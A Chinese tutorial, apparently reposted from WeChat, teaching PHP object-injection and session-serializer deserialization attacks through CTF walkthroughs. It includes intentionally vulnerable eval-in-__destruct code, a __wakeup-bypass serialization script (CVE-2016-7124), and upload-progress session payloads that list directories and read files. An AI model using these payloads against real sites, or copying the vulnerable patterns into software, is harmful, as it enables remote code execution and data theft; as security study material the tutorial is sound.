原理+实践掌握(PHP反序列化和Session反序列化)
2020-03-23 11:32:36 Author: mp.weixin.qq.com(查看原文) 阅读量:105 收藏

0x02:PHP反序列化漏洞

在学习漏洞前,先来了解一下PHP魔法函数,对接下来的学习会很有帮助

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法

__construct   当一个对象创建时被调用,__destruct   当一个对象销毁时被调用,__toString   当一个对象被当作一个字符串被调用。__wakeup()   使用unserialize时触发__sleep()    使用serialize时触发__destruct()    对象被销毁时触发__call()    在对象上下文中调用不可访问的方法时触发__callStatic()    在静态上下文中调用不可访问的方法时触发__get()    用于从不可访问的属性读取数据__set()    用于将数据写入不可访问的属性__isset()    在不可访问的属性上调用isset()或empty()触发__unset()     在不可访问的属性上使用unset()时触发__toString()    把类当作字符串使用时触发,返回值需要为字符串__invoke()   当脚本尝试将对象调用为函数时触发

这里只列出了一部分的魔法函数,具体可见

https://www.php.net/manual/zh/language.oop5.magic.php

下面通过一个例子来了解一下魔法函数被自动调用的过程

<?phpclass test{ public $varr1="abc"; public $varr2="123"; public function echoP(){  echo $this->varr1."<br>"; } public function __construct(){  echo "__construct<br>"; } public function __destruct(){  echo "__destruct<br>"; } public function __toString(){  return "__toString<br>"; } public function __sleep(){  echo "__sleep<br>";  return array('varr1','varr2'); } public function __wakeup(){  echo "__wakeup<br>"; }}
$obj = new test(); //实例化对象,调用__construct()方法,输出__construct$obj->echoP(); //调用echoP()方法,输出"abc"echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleepecho unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。// 脚本结束又会调用__destruct()方法,输出__destruct?>

显示结果:

例子载自于脚本之家,通过这个例子就可以清晰的看到魔法函数在符合相应的条件时便会被调用。

0x03:对象注入

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

对象漏洞出现得满足两个前提:

一、unserialize的参数可控。
二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

<?phpclass A{    var $test = "demo";    function __destruct(){            echo $this->test;    }}$a = $_GET['test'];$a_unser = unserialize($a);?>

比如这个列子,直接是用户生成的内容传递给unserialize()函数,那就可以构造这样的语句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出lemon。

发现这个漏洞,便可以利用这个漏洞点控制输入变量,拼接成一个序列化对象。

再看下面这个例子:

<?phpclass A{    var $test = "demo";    function __destruct(){        @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句    }}$test = $_POST['test'];$len = strlen($test)+1;$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数?>

其实仔细观察就会发现,其实我们手动构造序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。

所以我们利用这个漏洞点便可以获取web shell了

0x04:绕过魔法函数的反序列化

wakeup()魔法函数绕过

PHP5<5.6.25
PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

具体实例:

百度杯——Hash

前面的步骤就不再叙述,主要是为了学习反序列化的一些知识

其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容

  • 绕过正则表达式对变量的检查

  • 绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php

那么问题就来了,如果绕过正则表达式

  • /[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

  • 绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化脚本

<?phpclass Demo {    private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) { $this->file = $file; }
function __destruct() { echo @highlight_file($this->file, true); }
function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } }}#先创建一个对象,自动调用__construct魔法函数$obj = new Demo('f15g_1s_here.php');#进行序列化$a = serialize($obj);#使用str_replace() 函数进行替换,来绕过正则表达式的检查$a = str_replace('O:4:','O:+4:',$a);#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数$a = str_replace(':1:',':2:',$a);#再进行base64编码echo base64_encode($a);?>


将得到的参数传入即可得到另一段代码,这里主要学习反序列化的知识,后面的就不再写了。

0x05:session反序列化攻击

先来了解一下关于session的一些基础知识

什么是session

在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

session是如何起作用的

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

除此之外,还需要知道session_start()这个函数已经这个函数所起的作用:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

了解了有关session的概念后,还需要了解php.ini中一些Session配置

session.save_path="" --设置session的存储路径session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php


这里我是在Windows上搭建的所以显示的路径为D盘,如果是在Linux上搭建的话,常见的php-session存放位置有:

/var/lib/php5/sess_PHPSESSID/var/lib/php7/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSED

想要知道为什么为出现这个session漏洞,就需要了解session机制中对序列化是如何处理的

参考l3m0n师傅的表

这个便是在相应的处理器处理下,session所存储的格式,这里举个例子来了解一下在不同的处理器下,session所储存的格式有什么不一样(测试的时候php版本一定要大于5.5.4,不然session写不进文件))

<?phpini_set('session.serialize_handler', 'php');//ini_set("session.serialize_handler", "php_serialize");//ini_set("session.serialize_handler", "php_binary");session_start();$_SESSION['lemon'] = $_GET['a'];echo "<pre>";var_dump($_SESSION);echo "</pre>";

比如这里我get进去一个值为shy,查看一下各个存储格式:

php : lemon|s:3:"shy";php_serialize : a:1:{s:5:"lemon";s:3:"shy";}php_binary : lemons:3:"shy";

这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。


使用不同的引擎来处理session文件

php引擎的存储格式是键名 | serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。

下面就模仿师傅的操作学习一下

先以php_serialize的格式存储,从客户端接收参数并存入session变量
(1.php)

接下来使用php引擎读取session文件
(2.php)

攻击思路:
首先访问
1.php,在传入的参数最开始加一个'|',由于1.php是使用php_serialize引擎处理,因此只会把'|'当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。

这里可能会有一个小疑问,为什么在解析session文件时直接对'|'后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数,可以看下官方说明:

首先生成一个payload

<?php    class student{        var $name;        var $age;    }    $a = new student();    $a->nage =  "hacker";    $a->age = "1111";    echo serialize($a);


攻击思路中说到了因为不同的引擎会对'|',产生歧义,所以在传参时在payload前加个'|',作为a参数,访问1.php,查看一下本地session文件,发现payload已经存入到session文件

php_serialize引擎传入的payload作为lemon对应值,而php则完全不一样:

访问一下2.php看看会有什么结果

成功触发了student类的__wakeup()方法,所以这种攻击思路是可行的。但这种方法是在可以对session的进行赋值的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用

没有$_SESSION变量赋值

PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。

但第一次看到真的有点懵,这该怎么去利用,看了大师傅的博客才明白,这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。

实践一下,可以来看一道ctf题目

Jarvis OJ——PHPINFO



当我们随便传入一个值时,便会触发__construct()魔法函数,从而出现phpinfo页面,在phpinfo页面发现


发现默认的引擎是php-serialize,而题目所使用的引擎是php,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。

观察代码会发现这段代码是没有$_SESSION变量赋值但符合使用不同的引擎来处理session文件,所以这里就使用到了php中的upload_process机制。

通过POST方法来构造数据传入$_SESSION,首先构造POST提交表单

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" /></form>


接下来构造序列化payload

<?phpini_set('session.serialize_handler', 'php_serialize');session_start();class OowoO{    public $mdzz='payload';}$obj = new OowoO();echo serialize($obj);?>

将payload改为如下代码:

print_r(scandir(dirname(__FILE__)));#scandir目录中的文件和目录#dirname函数返回路径中的目录部分#__FILE__   php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名#序列化后的结果O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止双引号被转义,在双引号前加上\,除此之外还要加上|

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

在这个页面随便上传一个文件,然后抓包修改filename的值

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $_SERVER['SCRIPT_NAME'] 不同的是,这是服务器端的绝对路径。

既然知道了路径,就继续构造payload即可

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));#file_get_contents() 函数把整个文件读入一个字符串中。
接下来的就还是序列化然后改一下格式传入即可,后面的就不再写了

总结:

通过这次的学习,真的学到了很多关于反序列化的知识!

参考博客(https://xz.aliyun.com/
PHP反序列化漏洞与Webshell

实战经验丨PHP反序列化漏洞总结
PHP-Session利用总结
关于PHP中的SESSION技术
l3m0n
php session序列化攻击面浅析

实验推荐区

阅读原文做实验
PHP反序列化漏洞实验:

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001

精选:2019原创干货集锦 | 掌握学习主动权

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

我就知道你“在看”

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652854286&amp;idx=1&amp;sn=a18b4bd96c1c9d64ca1beced5cd66568&amp;chksm=bd5924c38a2eadd5bff2ef76384b0243a26ed25c77cc10e0711cef88b8900993f85a88e7239c#rd
如有侵权请联系:admin#unsafe.sh